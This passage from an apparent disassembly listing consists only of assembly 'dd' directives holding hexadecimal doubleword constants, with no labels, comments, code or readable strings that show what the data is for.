		dd 0F430E966h, 0C4D0EC34h, 0A48BA1C8h, 94199BE8h, 0EF18F41Dh
		dd 0A822B5D1h, 32C19804h, 29E4059Dh, 16F0CC18h,	3A952556h
		dd 0C191001Dh, 1096E8Bh, 0AE4FC868h, 2621F860h,	775E1C1Fh
		dd 25A4005Bh, 740B56FFh, 6C266D7Bh, 4F096841h, 502C82EAh
		dd 2A4B18B3h, 0FC723E10h, 2A8024E0h, 0C2831A05h, 0DC5448F9h
		dd 0A3A2238h, 0FC7194B8h, 34182584h, 16203438h,	0EB550CD9h
		dd 13B98797h, 8C692098h, 5B084C9h, 8217A860h, 96BFB825h
		dd 250F28Ch, 7A744016h,	4C08B74Dh, 0F1607824h, 92373CDh
		dd 4E2592A6h, 48372009h, 4499288Eh, 6C94BF1Fh, 8FF23CE2h
		dd 5003A530h, 0E9EAE47h, 0B0E65F1Dh, 8CCAE122h,	80751440h
		dd 16C85548h, 2C0EC053h, 0BF3E8552h, 0F08C3885h, 10CF0BA5h
		dd 342AB760h, 0E85194CCh, 0D41BB589h, 55840800h, 50A5AC0Dh
		dd 773C03ADh, 2351FCB9h, 79D80A85h, 20EDC3E4h, 76C91803h
		dd 0C880CC6Fh, 1F55C352h, 0C0BDF837h, 0E38C68D9h, 0C01CB2A2h
		dd 0AC296435h, 0F11868D1h, 0FE70AB71h, 0FFADC619h, 0F8207EC1h
		dd 3F760043h, 8CCD9277h, 0B9262F46h, 3A01A053h,	8BDED59Ch
		dd 4C8AC38h, 0BF17ABC0h, 22A746B8h, 53F30F88h, 0CCA01216h
		dd 4B2E0646h, 60A4C551h, 4F07A4BAh, 0A3F43635h,	0B9890580h
		dd 7431F13Dh, 0B0239825h, 78E97B77h, 9EE600EEh,	7AA8B4C5h
		dd 4E768D32h, 0FC09D50h, 14793B61h, 34C044DFh, 82DD26E8h
		dd 9989429Ch, 0D4BC0209h, 3FA4B0BAh, 0F84F0830h, 6E64D338h
		dd 3007AA40h, 680C0561h, 1964D898h, 77CA005Bh, 0AEC9CFD2h
		dd 98B41370h, 52800791h, 0AFB88816h, 0F60094A7h, 0E24E165Ah
		dd 12470058h, 73663626h, 50C71735h, 0A6F11CE7h,	108BB00Dh
		dd 0C906E02Eh, 0C31D419Ah, 9C2E5316h, 49B08580h, 4F804AB4h
		dd 6D6020F2h, 4006BFDh,	0A3D2B858h, 37A4EF8h, 0B09EAEF5h
		dd 8C8DF49Ah, 0A704BDF4h, 343BFE0Bh, 0E7309487h, 3C326B7Bh
		dd 0C426D278h, 0C53CC4h, 0D35D5FE8h, 5102CF0Ah,	1B803C53h
		dd 0D116730h, 0E18D071Fh, 0F021F44Dh, 2636816Bh, 930BA579h
		dd 4685672Eh, 768E1F74h, 88E391C1h, 8792807Eh, 9C993976h
		dd 0EE4A2C0Eh, 0DCE28A73h, 10089E17h, 98E880F6h, 479581ACh
		dd 41455830h, 3AF38F1h,	0D9AB9209h, 4FB2D6E5h, 0FB021B40h
		dd 0B735EB06h, 1CE17DD8h, 92E26364h, 36CB0058h,	346CD101h
		dd 642F875Eh, 4A024223h, 51BD50E5h, 60072F20h, 0DB9E5828h
		dd 585055h, 6D3A2C2h, 84A909h, 72DF74B0h, 4BDE67E6h, 764DED17h
		dd 6A53B021h, 4F9A8440h, 176B78E8h, 812DCA66h, 396CEA18h
		dd 2163002Ch, 0CA23A1EDh, 91E1EA6h, 592D0F81h, 0C2B15EE4h
		dd 90E4CCB4h, 4116500h,	6887F478h, 60BC55B4h, 4037B093h
		dd 0BBE245DCh, 3960B572h, 0E314E769h, 0D38D0137h, 66AEFFE0h
		dd 0D9EA60A4h, 729E8E07h, 38976B07h, 0BA01C07Eh, 1CE2014h
		dd 0BEA7671Fh, 0D00DCF3Ch, 0EF07E329h, 96A8D054h, 0F2202B01h
		dd 95B4E0h, 0A7E055B5h,	8B6187B3h, 0BADEE701h, 5606200Ch
		dd 0D52B0680h, 25BF3BDCh, 0C0A71600h, 49AACFD9h, 0E08400B2h
		dd 3157C1C2h, 52716634h, 1E18A258h, 4244D0Ch, 2F4B143Dh
		dd 8C78BCF8h, 1D103A1Fh, 47AAF000h, 0E24E58F9h,	0D8695045h
		dd 29942C3Bh, 76CF8508h, 9BCCE019h, 8F91FC2Dh, 31040020h
		dd 0BAC10A0Ch, 3B7B2200h, 0D5FCC218h, 9F1DD91h,	374520B7h
		dd 6D441CE7h, 388DA067h, 8517EC4Ah, 0EBC2D85Dh,	39249080h
		dd 0F84D1330h, 40CB28h,	993001A4h, 0FE262982h, 0DBF202ADh
		dd 0C75634BBh, 0BFF4C201h, 6004E472h, 5C36651h,	382E1C97h
		dd 1D0E6923h, 0B0F9E3ACh, 58191517h, 4000C444h,	3F0FEB9Bh
		dd 620F6E70h, 49A58EACh, 828009BDh, 0C73607E1h,	606B44B0h
		dd 40AA983h, 0C1B04715h, 1F1C97A2h, 48582809h, 0F6516A0Bh
		dd 5A80E9A3h, 2A094918h, 0E54C7238h, 8639BF4Ch,	65746F00h
		dd 5F4C3BB6h, 703CCDFCh, 1448C1h, 8A13E254h, 0B919F845h
		dd 0B9580074h, 3C231ECh, 14083099h, 0BEE20971h,	0AB128067h
		dd 0C26C3C91h, 0C1E25310h, 58CD827Ch, 34F16872h, 7EC45430h
		dd 0EB29C012h, 0F33E8864h, 0FFA66B1Eh, 678D53C7h, 0A9245A21h
		dd 91005C3Ch, 77362ABEh, 4D4F16E5h, 0E7BCB022h,	60C5E4FCh
		dd 500DA8EBh, 3116F68Fh, 0FED9C64Ch, 844E2BDh, 974F44h
		dd 0C5DCC356h, 5B943C76h, 24C695Ch, 1650364Eh, 7ECDA54h
		dd 0DDB56897h, 5424CB8Bh, 76BF6080h, 0BB4D25A8h, 95815C65h
		dd 7D2B76B4h, 3BEBD8D8h, 58183803h, 0B19841CDh,	142B4B02h
		dd 51935797h, 0E417AD08h, 0A3808991h, 7B17C72h,	0BFA63B00h
		dd 85662867h, 0EF6F7CD3h, 64454825h, 6FA228E3h,	5E5A30h
		dd 94D6F216h, 0C3EB3193h, 0BFF3D80Bh, 0C0F0C170h, 6F50012Ah
		dd 34F148CDh, 0E4257474h, 0D48060E1h, 0A3B51D36h, 53BD1ECh
		dd 39523E33h, 0C78B5497h, 60C0C4E0h, 5CC36C9Bh,	4B8568E0h
		dd 2B2CA4EAh, 732E6EEEh, 5393B07Dh, 6D23383Ah, 0BC395707h
		dd 40AE93A2h, 3BE34ADEh, 582FC3A3h, 14F170A0h, 0FC0096C5h
		dd 87A56183h, 4FD7A8Fh,	380FF235h, 25A482CCh, 0B4D10842h
		dd 0BE18C779h, 30E27226h, 0F8B7EC60h, 0BDC4A16Dh, 41A25823h
		dd 1EF9030h, 0D1D55C6Bh, 6424B7CCh, 0E1189828h,	6A68934Ah
		dd 4DC30571h, 647D4Eh, 0A7AB3A4h, 9C095AB6h, 175E4135h
		dd 808F9160h, 237C62C9h, 999B0008h, 487D35B5h, 251072EAh
		dd 805C6828h, 0B43E9623h, 0B08E1031h, 62C0FC88h, 12BD514Bh
		dd 0B4DBF369h, 0F900849Ch, 124D857Ah, 736BFA7h,	93619F97h
		dd 90909934h, 0A0006BD0h, 73859E54h, 0BE6A431h,	0DD5EACD3h
		dd 4500B4C4h, 70057DD5h, 1F434F2Fh, 0C0A77476h,	80B37393h
		dd 6CBE838Bh, 7896C2C3h, 0B43CF889h, 3E9140h, 6A35C353h
		dd 9D67F4B5h, 0B0918420h, 6804AB5Dh, 0C549FCBCh, 782D40ACh
		dd 0C056F492h, 0C24656h, 9AE1B903h, 18C13781h, 21FEAE4Ah
		dd 2B00B038h, 0A3BF057Ch, 0B18F30Bh, 16F9EE2Ch,	8D68480Eh
		dd 2400B516h, 39BEBDA3h, 0B88A073Fh, 0D46F7067h, 5EA4B82Ch
		dd 5585DC30h, 96BA31E2h, 0C2643630h, 8C009C66h,	53606B72h
		dd 17CEDE42h, 122D7AADh, 804405D4h, 9C280467h, 9C0C0A6Fh
		dd 9D111740h, 93AF00E7h, 0BDF99BE3h, 0D8588704h, 78538014h
		dd 9280908Bh, 760B0741h, 9BD5EE66h, 0ACFBBF04h,	0F850B0D4h
		dd 2BD103D0h, 3327DBC7h, 17597127h, 81C5119Ch, 7310D37h
		dd 0F7687C20h, 0C07A5802h, 0A09E9C00h, 0D3E7878Dh, 32C6FEAEh
		dd 5880E249h, 0C771F479h, 0BC041A18h, 8F46C178h, 5C0840A9h
		dd 87913743h, 52303A80h, 909920F8h, 3002B9C0h, 0DCC6000Eh
		dd 3BD22059h, 8469B893h, 466C7021h, 7689028Ah, 51EB4DC6h
		dd 869360A4h, 92004276h, 0DBD00D10h, 0B0997265h, 458A7998h
		dd 0A8703D81h, 0E6CC019Fh, 0ECBE8722h, 1258782Dh, 7040F9ADh
		dd 0E0B0B3C6h, 685000A7h, 869E227h, 60F07236h, 63F08098h
		dd 8A61DB81h, 0BF8FBC69h, 0FF2F26A0h, 0EB3EDFA8h, 9E15000Fh
		dd 3F7F8AD4h, 0B211012Ch, 414B6C53h, 0B9488616h, 341ADD2h
		dd 5CB088D4h, 7E905D04h, 85019F18h, 6CE546B7h, 0D0406AA4h
		dd 0CFF2063h
		dd 0CE71E4B9h, 675F12C0h, 92CA3804h, 8000370Bh,	0B34147DBh
		dd 665268C0h, 5B1635E2h, 29F404D7h, 0C85300F7h,	0A0070276h
		dd 276682ACh, 1440A6C2h, 7F2477EAh, 0A03C4C35h,	32C33E7Dh
		dd 0FD86CE05h, 2028F512h, 0A7030F1Eh, 0F93C9D1Ah, 0BE91E717h
		dd 2F3AC03Ah, 43236Ch, 1231ECC2h, 725A4BC3h, 0F695A831h
		dd 76CFF885h, 5338D1E1h, 1439D8FCh, 0B0FEE0C7h,	64402959h
		dd 881009ACh, 0A780A33Ch, 191FFF69h, 87ECB1F8h,	0C9CAE902h
		dd 7A7F7CAEh, 10646ECh,	0B8BD17ADh, 68627757h, 1655F1C0h
		dd 10E20BFh, 87AB9CE1h,	0C390C8D5h, 49D0AECFh, 7C301C82h
		dd 2AE96799h, 0A5947503h, 0B15971A2h, 0A8604F50h, 64ED5CE7h
		dd 7F867011h, 896448A5h, 0AAD82863h, 967F3040h,	6FCF6E09h
		dd 24F8F054h, 5ECC2F07h, 7E3B7D46h, 772EA807h, 19D9E3A2h
		dd 1D48D112h, 380CA491h, 542C8985h, 6D91C0D9h, 0C32F40E0h
		dd 76781196h, 0F96FC208h, 8DEE8549h, 0DB2E4E6h,	9634EC40h
		dd 7E022170h, 0C0536205h, 0E8F2ADh, 0F166F414h,	43825F3Fh
		dd 0AB6B4804h, 4CA45C41h, 7DFC25B8h, 7613A481h,	28C468F9h
		dd 0E7365433h, 1290C14Ah, 0C2799825h, 507619B4h, 0CEC88349h
		dd 6E884FB8h, 4B03001Ch, 59FCBE6Bh, 0DB90C1CDh,	5015D90Bh
		dd 0A5444C94h, 0BB8C2500h, 850FBD21h, 0D0EC000Eh, 74C8EBA4h
		dd 84B879D4h, 0DB834818h, 9AC33C1h, 0FB11E55h, 0EAB9F801h
		dd 4DDC501Ch, 5600676h,	8CE4BF18h, 0F84498A3h, 41686070h
		dd 3014BA4Ch, 0BCC05E4Ch, 51038C8Bh, 0E7120D2Dh, 7455BA13h
		dd 0BAFE89FCh, 0C9B010E8h, 0BC9A8A20h, 0FD09DCE8h, 0C164BC6Ah
		dd 4066C380h, 950D02F0h, 7D481D00h, 35D59288h, 0D26D02F4h
		dd 0C0A21A55h, 219748C0h, 4C0CBB80h, 7E2FA92Eh,	40642089h
		dd 0B0265900h, 8D622A1Eh, 0CA601EBFh, 673C6C3Dh, 0F0A0DE2Bh
		dd 35ACCDA1h, 0BB746D17h, 9C403416h, 6266541Fh,	74BD9D64h
		dd 944FA381h, 0D067CB6Eh, 2000245Ch, 94391603h,	908BCF31h
		dd 0B01B07B5h, 0DDC30214h, 2DB6E96h, 0D5C0E8E3h, 0BC20BD6Ch
		dd 52391267h, 0BE34F0A6h, 0EA0CB812h, 34E4A0h, 4BCDCBE7h
		dd 2CC07AA9h, 0D80898F4h, 3912CAh, 0C48E5E65h, 0BD056F5Fh
		dd 0E003488Bh, 0A20F70C0h, 0B897093Bh, 0CC20EA34h, 7BA1A7DBh
		dd 0FC70E781h, 0EC1A400Dh, 0E228B725h, 2D345434h, 0F45FE090h
		dd 63046075h, 0B12DA0CDh, 0C9985301h, 1BA82CAAh, 0E491400Ch
		dd 9A80A4FCh, 54D09C49h, 4B473D04h, 0AC9A7836h,	0D219D11h
		dd 0B0CB0DE4h, 0B5B0AC46h, 18109C3Bh, 0CD849F31h, 796921D8h
		dd 1B9A438h, 725380h, 600BB76Ch, 0A46791D5h, 0F918F876h
		dd 1DE08852h, 7924B15Eh, 0E8B18C5h, 87110D61h, 80BCE2E7h
		dd 2302CB6Fh, 0C174C148h, 8977CC76h, 0E96DD0CFh, 572609CFh
		dd 0F0CBD196h, 686CB789h, 10EA0094h, 564B52F3h,	3EE435h
		dd 0C05098CAh, 0B9F820AFh, 0FABE0700h, 84C47B55h, 0C59006A2h
		dd 10748392h, 0C709BC10h, 0AE03AEC9h, 1106B5A6h, 0F7B990ABh
		dd 0C89EBD41h, 0D3D2D810h, 85888C4Fh, 0BC1326ECh, 201350ABh
		dd 7F00946Eh, 1BC014ADh, 0B53A2C22h, 0ADCD64Fh,	38F8CF16h
		dd 1E40B01Fh, 4BBCABF6h, 0C00100A1h, 16E531CFh,	5E5A3FE3h
		dd 0C723942Eh, 0EA0B5712h, 0CD0E94Ch, 8830403Ah, 0E29185BBh
		dd 0A1C08A00h, 42476E78h, 455B1271h, 0E268E292h, 75E530FDh
		dd 8389EE17h, 0CD3B3702h, 79C720Ch, 0A6932319h,	0D8C4F086h
		dd 0A00CA68h, 4E449946h, 90263076h, 3C17959Ch, 0AB85C791h
		dd 388D83C6h, 0BCF8A88Ch, 39138C14h, 0C0B234C1h, 43D9A41Fh
		dd 57C00C68h, 5FC1F1A2h, 851C2499h, 0C4072725h,	76D70020h
		dd 4AE6E0C7h, 8A013CC6h, 0AE810CBCh, 0CC3D7E07h, 0F53E16B8h
		dd 3C5C9387h, 0AD40D002h, 134C60FCh, 0CE305B6Ah, 0C17C88ACh
		dd 0D54947FDh, 7ECC30FBh, 38545700h, 0F02E37F7h, 0DFEA0153h
		dd 0C9E43DFFh, 602F67h,	625E8F7h, 39D084FEh, 6F989835h
		dd 0FDC31B13h, 4CFD8B4h, 19FC5137h, 934CD20Bh, 1CD6D07Ch
		dd 87EE7EFFh, 0E70979BEh, 3F219CACh, 55E55700h,	76844E61h
		dd 0A28B02ECh, 0FDC2B5AAh, 3A54F044h, 3007029Ch, 676F5851h
		dd 71C8A1C8h, 1C3F1878h, 505C44h, 0C689A07Dh, 2F0571DCh
		dd 56734B60h, 0CF461C8Ch, 0C9401B39h, 1068E085h, 9E7BFB00h
		dd 1DA86194h, 9227E27Ah, 42B14514h, 8F203B40h, 166873A0h
		dd 49F57B7h, 16D52264h,	6CC8608Bh, 0EF1C9CCFh, 815BC340h
		dd 16D8EE88h, 8C35E44Bh, 50498730h, 4A9F2078h, 0D2E87096h
		dd 0A106A0F8h, 97704D77h, 0ADA944C0h, 0EB80CCB6h, 0BB3C6B74h
		dd 39B40ED0h, 0A50FFAF2h, 6E1ADB20h, 0C909E125h, 6A500CD3h
		dd 0D6005E70h, 0D636F51Eh, 0D733807Bh, 0C343480Ch, 0C0707C4Bh
		dd 5C68029h, 2800BE91h,	72B68A3Dh, 0E3B7F96Ch, 16485824h
		dd 12E7AECAh, 0A2E8B3DCh, 0BBB833C6h, 84A8D10Ch, 0BF0096A1h
		dd 0E678353Bh, 4ED33648h, 0F99C4731h, 0C08ECE0Dh, 0E4C2A5C0h
		dd 4C916AF3h, 0E11843F1h, 89D34900h, 4A6CA4Fh, 8E815E27h
		dd 0C78988E4h, 0B6001903h, 34AB6F81h, 0E4BF6601h, 7E043632h
		dd 23842F7Eh, 47E8007Ch, 0DE491A40h, 22147A4Ch,	383448D2h
		dd 128A3C50h, 0A2055383h, 0CC540030h, 0FD04331h, 941F0077h
		dd 0DA3B19BAh, 0E603FFE4h, 0B465166Bh, 54C8A481h, 0A3FE2DD4h
		dd 7B4C9C10h, 2E0053ECh, 0B48FB310h, 3ADED40h, 954BBD3Ch
		dd 41E0BC34h, 0C20EBF23h, 808BBE26h, 2CD30860h,	8D3F2548h
		dd 2760E04Dh, 56A2315h,	16D65D0Ch, 0E6F48953h, 0A8007872h
		dd 0A733B868h, 5AA557B3h, 23BC2F97h, 0D9DF0017h, 162F954Dh
		dd 0B088544Ah, 0E4D15976h, 4F058C7Bh, 5C723A2Ah, 0B0C0A8F2h
		dd 6B362A84h, 26F85B01h, 43E0C265h, 0C150223Eh,	9CE4D825h
		dd 6B94059Bh, 0E3015696h, 0D13C171Ch, 0FDC8D08Bh, 803ADEC3h
		dd 151FC717h, 0F03D58E5h, 0E2714B12h, 962184h, 0E05384D8h
		dd 150004BEh, 508A2031h, 5A9151E2h, 0BF080074h,	24026185h
		dd 7268EB01h, 0ECFFE22Dh, 721CDFD0h, 0CC643028h, 314A8B20h
		dd 0CE0C330Eh, 2FC760F0h, 12EEC6BAh, 33C39DCh, 0BB53AD70h
		dd 0F8C1F590h, 2C7A8D00h, 7DA3908Eh, 0A86C000Ch, 0F4D8ECD6h
		dd 8C1ECD26h, 0F7012B7Ah, 5D63D403h, 0AAC16980h, 0B7D95360h
		dd 0E08FBF19h, 2180CD09h, 0EF60B2A1h, 0CA7880D2h, 9FFBC0C6h
		dd 0DC9E00C9h, 0F1075549h, 0D2007760h, 93C42214h, 0EF088Fh
		dd 506227B2h, 63FFDD0Ah, 6D59DF06h, 30419D95h, 11695764h
		dd 47F4D0ABh, 7EADCF01h, 6427A43Bh, 0BEE64440h,	96813C34h
		dd 0D04CE180h, 0AF9D1410h, 0B3ED5F00h, 0EC9F6728h, 239A061Eh
		dd 38767A61h, 8A0062EAh, 0CEF906D2h, 66835E2Fh,	215F08DFh
		dd 9DE2407Fh, 29E7F500h, 0C4BFF0C7h, 83B41658h,	299C189Eh
		dd 80A80F1Bh, 0A300719Ah, 0F70C12B1h, 17D1EA1h,	4D69FA7Fh
		dd 0CF648179h, 0B8A094A0h, 4F0134F6h, 9F6D6186h, 0D09E625Dh
		dd 0FBB005E9h, 2B844092h, 4893708h, 20580E03h, 0A3569E0Ch
		dd 512100A0h, 35D13710h, 0E5FC3A6Ah, 4E121892h,	28020361h
		dd 90FAC256h, 1E5B3FCCh, 39C56816h, 92339100h, 4111E089h
		dd 9EB5A00h, 0ECFB6256h, 65730001h, 59C9FA6Dh, 1830FF68h
		dd 642BE913h, 1FC0A8D6h, 0A56300BAh, 0B015AAB6h, 56309360h
		dd 0D68BD12Bh, 366F00C2h, 0A179455h, 65507825h,	1A67CBF8h
		dd 0C0003E51h, 4C796EBBh
		dd 0A0C7C55h, 49290445h, 0E33F8C00h, 0F5E29964h, 921F0231h
		dd 421EF17h, 197C2046h,	4620A3Ah, 0F556EC5Eh, 0A1557088h
		dd 918B3ACh, 48A3708h, 439FC416h, 0AF37114Ch, 0A16BE1B2h
		dd 0A1986DF4h, 0D364218Ch, 5A0F50E1h, 80692E1Bh, 97AB9320h
		dd 0AEC10044h, 77CB96FEh, 40DC2375h, 96EC040h, 0EB04873h
		dd 2C9C4EE6h, 8517FF40h, 0B5035C67h, 0F761C732h, 0B054CB2Ah
		dd 29B372h, 1FBDD8BEh, 0C7E98C0h, 0BBE0C81Fh, 5F18603Ch
		dd 2B856801h, 0C1204F64h, 70F5D75h, 6BC32261h, 0E80462E8h
		dd 3569880h, 0BA16FEE3h, 54E0BF6Fh, 0E3907741h,	68913E07h
		dd 5091D97Fh, 204A6BC4h, 17788162h, 0B8401428h,	1F3DBD5Dh
		dd 0E3372h, 2C094E1Dh, 33F12FCh, 0CB2100BFh, 0B81808F1h
		dd 9FC71470h, 89834F4h,	80A07F2Bh, 0C88D5B79h, 74007CA0h
		dd 25B89EEh, 0FC053F1Dh, 7AB1240h, 2B085F5Eh, 3647804h
		dd 0F9107061h, 60205AA2h, 0FAA3901Bh, 0E87B1302h, 0ECFC4017h
		dd 0F88E26CAh, 29596A32h, 95961079h, 0CBC12741h, 1256FB11h
		dd 129419CDh, 55811014h, 0C608E189h, 44A89144h,	534480C5h
		dd 444284B5h, 0FE08BC21h, 1FC99150h, 0ECC0D06Ah, 7E576641h
		dd 68750094h, 812EA58Eh, 2A007CA7h, 939F4395h, 29064Dh
		dd 0FD74E1E8h, 524FF559h, 4C0F11B0h, 0A0553E68h, 0FCE704FEh
		dd 0F3A00C8h, 0DCF2C285h, 0DB002FE3h, 2D5B47C6h, 48C4B73h
		dd 1283D317h, 18AB807Bh, 6800676Fh, 0B2A5316Bh,	0A4EDB3h
		dd 0F4BB7C1h, 0A1D56951h, 61BFD22Eh, 7203EE06h,	5DFF0030h
		dd 35313223h, 4C63E811h, 0C8571D19h, 0D90D86h, 0FEC3A413h
		dd 4CEBBD6h, 0EC0080E0h, 29AC6EF9h, 1499094h, 6D95B641h
		dd 20684885h, 0A112DDA4h, 0AC0076A8h, 0FA05240Fh, 808C1CF6h
		dd 6E9A4065h, 0ED4B0BB0h, 943F1A07h, 155037ECh,	2D7580Ch
		dd 4A9FAD54h, 284090B9h, 0FF032C8Ah, 8BC242F4h,	0E04EE06Ah
		dd 232F070Eh, 0C0E12BD0h, 86F8EABAh, 0F4DC63Ch,	40C77B05h
		dd 9AB584A1h, 5C2C006Fh, 9E976B12h, 0AE3ECCE4h,	787001B4h
		dd 986ECA08h, 9B74F0h, 0AC85B68Fh, 942A1C18h, 2E96D203h
		dd 0C00B500Eh, 1E7BFC20h, 8F7533E6h, 48E07087h,	4DCF4C46h
		dd 47018092h, 7672A1A4h, 0F3590Dh, 996A3089h, 7337EAEh
		dd 607747Bh, 0CE26F386h, 55B105Ch, 0E3D41EA6h, 3E800285h
		dd 400F8C0Dh, 0E62EBFF2h, 0A1C000EEh, 0B42CAB9Eh, 31C891Fh
		dd 159E9CD9h, 81CFE7C0h, 0E849406h, 411323A9h, 6E65D880h
		dd 0DB0047BFh, 0E2929B70h, 2FD4CFh, 5B675813h, 4091E612h
		dd 0D0FE8800h, 4179FC31h, 70A701A1h, 5D17390Ah,	3D288063h
		dd 931DF1F4h, 4C7F01E9h, 790221AAh, 8B6A308Dh, 0D7ADD100h
		dd 6182CDEDh, 0E8A579E7h, 4D4F4C65h, 81C42C0Fh,	0EDD69021h
		dd 4D76305Fh, 4203DFB8h, 13B570B9h, 6D84E059h, 65CCA099h
		dd 7E57B66h, 0F29C7AE3h, 605A3291h, 33DE9880h, 5000C9E0h
		dd 23F48F49h, 212BD1h, 3B8CCB25h, 0B4D2C22Dh, 9E08423Bh
		dd 2980E1ECh, 2E807BF6h, 370509F4h, 0EB0EC2A8h,	0B35E805Dh
		dd 2C174B5Ch, 0FE251E01h, 0A24D87F0h, 0C0E464h,	0DA4B2F07h
		dd 0EBDCA1F4h, 0ED8C2300h, 3691AFAh, 0D5110094h, 1813EC97h
		dd 6E007665h, 8012D404h, 0FF29CCF5h, 37BEF8h, 0D3815EBh
		dd 6864F8A3h, 0E457E000h, 47068360h, 9A7B5C4Bh,	86C20070h
		dd 0A2240EE9h, 8F756B0Bh, 62CFD001h, 3A43BAD1h,	0EADDF0h
		dd 7879B029h, 82597072h, 5D7E1102h, 40D877B4h, 12F13E8h
		dd 0BA3AECFFh, 20985687h, 73BC17Bh, 1D74492Eh, 0D6C0E154h
		dd 3B03F8C7h, 444349F3h, 744BF609h, 0E8BADC00h,	30C03061h
		dd 0A48E4D1Dh, 0A66C0475h, 87042CAAh, 8160D080h, 949EF3Bh
		dd 0B03801D0h, 5B3A2B17h, 564060F2h, 7F1890B3h,	51FF0133h
		dd 85BE0991h, 41F570A4h, 0C8A1BB07h, 0DBA0F080h, 7B0699h
		dd 6C74A850h, 0EB4B0A2Fh, 0C31D1807h, 0CA830C2Dh, 6BC588EEh
		dd 409860h, 417AF517h, 22522D39h, 0AED2A0A8h, 70BFDD03h
		dd 0D8401FA9h, 0BB5E30h, 1455A3F2h, 57EA63Fh, 0E0C22E00h
		dd 0E4D4D978h, 403E008Fh, 939AB796h, 2F008CD7h,	0DB548D67h
		dd 0B05A5FB3h, 96BF0078h, 6A179B65h, 9026D77h, 0F47D11D5h
		dd 0F1EA40C7h, 0E83A00C1h, 27E5C50Bh, 0F624F078h, 10801C22h
		dd 0E6A998E0h, 0F2AE01CEh, 7DDA663Eh, 0A4A3F826h, 12DAB00h
		dd 528828FBh, 85FF2691h, 25A04F04h, 9C3509CCh, 0EEB15303h
		dd 8A3FEFE9h, 937F40F8h, 1F162873h, 1275008Ch, 798FDB1Ch
		dd 0B33E5FC7h, 28E603FFh, 88479694h, 31F89Dh, 7A7DBB76h
		dd 0F9699361h, 0CA601018h, 653511h, 348D21A6h, 0FDC21F14h
		dd 52F77900h, 0E2EFF011h, 0EBA22410h, 9305408Ch, 2A01AC31h
		dd 5632BB9Ch, 0DC202FE4h, 8E4507F8h, 0A0B2AF5Fh, 9DF01B08h
		dd 20EBB090h, 902478B8h, 8D0067E7h, 3C239559h, 33263844h
		dd 0CC3D4181h, 0E4512D08h, 3B00705Ch, 2ADC65AFh, 24CD394Ch
		dd 4E505683h, 446E6D60h, 65020BECh, 1AAF9868h, 544761h
		dd 255F3732h, 0BE07D24Bh, 0F8DB4EF5h, 48C083A4h, 9540E4Ch
		dd 1E1DA97Dh, 98608401h, 9A09E450h, 74DCB400h, 0D82C5DA4h
		dd 0DF3100DDh, 46B6C41Ch, 2F006932h, 0FDE3F30Fh, 15F3841h
		dd 6A4F8B96h, 825C9B87h, 0F4C3BF60h, 3BE7E048h,	9635FEBAh
		dd 9513DDh, 8D077B68h, 53008BA3h, 0EB88F26Eh, 1E1EF022h
		dd 0FBEE9FC5h, 0D1137F00h, 0C33C4F51h, 8A033698h, 0F832B5E7h
		dd 32EA058h, 0F9591D7Fh, 77714275h, 3FFE8A1h, 0E83DB980h
		dd 82189Bh, 0B7B269ECh,	0C4844445h, 22D3520Bh, 0E8C0075Eh
		dd 0F60F0271h, 901CE7D4h, 19A13204h, 0F4926A41h, 40C45CC0h
		dd 5DDE1200h, 796C1018h, 9CBC00D7h, 0E5A2B287h,	7A0E673Bh
		dd 427F0E0Bh, 471CD85Bh, 0C0CD100h, 0F2949A84h,	62FD2CB9h
		dd 4E1C80D4h, 89DE7145h, 9F03C090h, 7AE263D9h, 0C8EFABDAh
		dd 42D33Dh, 58E95C2Dh, 0DB6CA43h, 0F03F477Bh, 3A20CC3Fh
		dd 1A00F21Bh, 0E106552Fh, 4C044C3h, 8A71DF25h, 4B88F0EAh
		dd 8D657000h, 9F7886A2h, 89951F74h, 214EC0AEh, 354ADD48h
		dd 337F6403h, 0D00A65EEh, 35D5502h, 31B01539h, 4788AA30h
		dd 800BF49Eh, 5CE0A45Fh, 0A7AE0539h, 0DE44D0A3h, 18DFE57Eh
		dd 0B0A8EFC5h, 93E2E3C0h, 0FA7A00B2h, 3FC777F9h, 0BE009E3Eh
		dd 315EDA45h, 56AF62h, 0ECC57049h, 0F112DDDEh, 4CE6E200h
		dd 0C2313305h, 0BF3B1F4Dh, 0D7AE8055h, 45C4D36Ah, 0C80074F4h
		dd 891E754Eh, 7DB9E1h, 7A4A825Fh, 22A32685h, 9D663500h
		dd 0A9EB1571h, 4FF7521h, 0D858117Ch, 0A2008F1Dh, 6E11h
		dd 4DC74210h, 93FFD796h, 0C1E2EA05h, 9C806337h,	2EF327CCh
		dd 38F9FDh, 5E66CA7Ch, 3E005D99h, 714A1197h, 6439E65h
		dd 2195BD84h, 0AA3C38FDh, 180B809Bh, 0DFEFF11Eh, 7BF90013h
		dd 9F04CA6Eh, 42246ACFh, 27FB41h, 0BCBEAA24h, 0C26B0EEBh
		dd 36206981h, 0A5E17AAEh, 0DA91AD0Bh, 64C081D3h, 50F4370Eh
		dd 6CB91214h, 0E817042Bh, 0E2F0C035h, 287A4955h, 8A1280h
		dd 40ECBBC9h, 23D08B4Dh, 0B44294Ch, 87490EACh, 0A67ED7DCh
		dd 0B884B5h, 0EFD2783Ch, 414409C0h, 606273FCh, 52BFD8A0h
		dd 553B393Ch, 0FCF53D76h, 600E4D8h, 542F2A46h, 0AC26C1D7h
		dd 8400A82Eh, 0A54D8104h, 9ED41D73h, 8D9B009Fh,	0E2AE2012h
		dd 15CCE901h, 4CB5BCE4h
		dd 608C00FFh, 0AB9671ACh, 700501A9h, 1E52B666h,	31077CC5h
		dd 7573CA72h, 3D3CB8F0h, 8DB40099h, 8EC2A792h, 6F0BFAEBh
		dd 25A1B9F5h, 10AEB3DCh, 0B700883Dh, 56253A8Bh,	0BC00D5EAh
		dd 90D3A269h, 2CA6AF36h, 0E09BC7h, 0C864E083h, 985861BFh
		dd 5F2B05B0h, 10D327D6h, 0A200CC22h, 0A13DC8D5h, 0CC3E4200h
		dd 0B1883FB6h, 805400CDh, 7E4D8A07h, 0C10B62B7h, 40A2F006h
		dd 342CCh, 6CDAFF22h, 73ECF1F5h, 0FE5C0609h, 0ADEC2054h
		dd 0F72530h, 8194AA51h,	95327DA6h, 8F435Ch, 0EDE64F2Ah
		dd 71653Fh, 0A0D71806h,	0EB63C778h, 0BCC05A09h,	10B1014Bh
		dd 69E416C5h, 6E0C00A5h, 0DDF9C97Bh, 0DB0030E2h, 904851C8h
		dd 217F8EBh, 0C9036416h, 1B62750Fh, 0EF8BD960h,	3454F0A8h
		dd 5F41518h, 5BFD11h, 0B1DD4721h, 0D76A092Ah, 19002090h
		dd 40FAE92Dh, 0FBED8Ah,	0DF4BBABEh, 0A2C3BB55h,	289F1634h
